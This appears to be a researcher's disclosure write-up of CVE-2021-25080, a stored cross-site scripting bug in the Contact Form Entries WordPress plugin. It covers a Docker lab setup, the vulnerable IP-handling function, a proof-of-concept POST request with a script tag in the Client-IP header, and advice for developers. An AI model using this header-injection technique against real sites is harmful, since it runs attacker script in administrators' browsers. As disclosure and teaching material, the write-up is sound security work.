CVE-2021-25080

A year ago I discovered a stored XSS in Contact Form Entries plugin. It is an interesting case of Cross-Site Scripting vulnerability in headers.

Introduction

CRM Form Entries is a plugin that automatically saves form submissions from several WordPress forms:

After a long time I finally received a CVE for this discovery that you can find on the specific of the website with all the other CVEs and Written Exploits.

Setup environment

I setup a Docker environment containing WordPress with the vulnerable plugin:

version: '3.8'
services:
wp:
image: 'dockersecplayground/wp:5.6'
stdin_open: true
tty: true
ports:
- '11080:80'
- '9000:9000'
depends_on:
- db
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=dsp
- WORDPRESS_DB_PASSWORD=dsp
- WORDPRESS_DB_NAME=wordpress
volumes:
- './xdebug.ini:/usr/local/etc/php/conf.d/xdebug.ini'
db:
image: 'dockersecplayground/mysql_dsp:latest'
stdin_open: true
tty: true
environment:
- MYSQL_DATABASE=wordpress
- MYSQL_USER=dsp
- MYSQL_PASSWORD=dsp
- MYSQL_RANDOM_ROOT_PASSWORD=1
networks: {}

I usually use VS Code to analyze the source code; it is great as it is possible to attach to running containers by using the Docker plugin and Remote Containers plugins.

Vulnerability Description 

CRM Form Entries CRM is vulnerable to a Stored XSS in Client IP field.

When the user uploads a new form, CRM Form Entries checks for the client IP in order to save information about the user:

public function get_ip() //wp-content/plugins/contact-form-entries/contact-form-entries.php, line 1388

The user can set an arbitrary “HTTP_CLIENT_IP” value, and the value is stored inside the database.

Proof Of Concept

Suppose we have the following form:

Intercept the POST request and insert the following Client-IP header:

POST /wp-json/contact-form-7/v1/contact-forms/1376/feedback HTTP/1.1 Accept: application/json, */*;q=0.1 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------9885500162977152723644841236 Content-Length: 963 Connection: close Client-IP: <script>alert(/1/)</script> Cookie: vx_user=61c2ecea43ad6164016458635903967  -----------------------------9885500162977152723644841236 Content-Disposition: form-data; name="_wpcf7"  1376 -----------------------------9885500162977152723644841236 Content-Disposition: form-data; name="_wpcf7_version"  5.5.3 -----------------------------9885500162977152723644841236 Content-Disposition: form-data; name="_wpcf7_locale"  en_US -----------------------------9885500162977152723644841236 Content-Disposition: form-data; name="_wpcf7_unit_tag"  wpcf7-f1376-p1701-o1 -----------------------------9885500162977152723644841236 Content-Disposition: form-data; name="_wpcf7_container_post"  1701 -----------------------------9885500162977152723644841236 Content-Disposition: form-data; name="_wpcf7_posted_data_hash"  3e8ce0f47face5a3318813e733c3c774 -----------------------------9885500162977152723644841236 Content-Disposition: form-data; name="text-42"  Test -----------------------------9885500162977152723644841236--

The request is accepted, and the code navigates the section $_SERVER[‘HTTP_CLIENT_IP’]  , IP is injected and saved inside the database.When the administrator clicks on the entry element:

The XSS is triggered:

Recommendations for Pentesters

When you explore Cross-Site-Scripting bugs, always checks for inputs that are not usually used to be reflected in the output. When I was looking for vulnerabilities in the plugin, I looked at my IP address in View Section, so I looked for the entrypoint of the IP address in the database, and I found the get_ip() vulnerable function.

Recommendations for Developers

Sanitize the user input by using safe libraries, or HTML escaping libraries. In WordPress it is possible to use esc_html() function (https://developer.wordpress.org/reference/functions/esc_html/). Otherwise, OWASP offers a great API developer: https://owasp.org/www-project-enterprise-security-api/https://owasp.org/www-project-enterprise-security-api/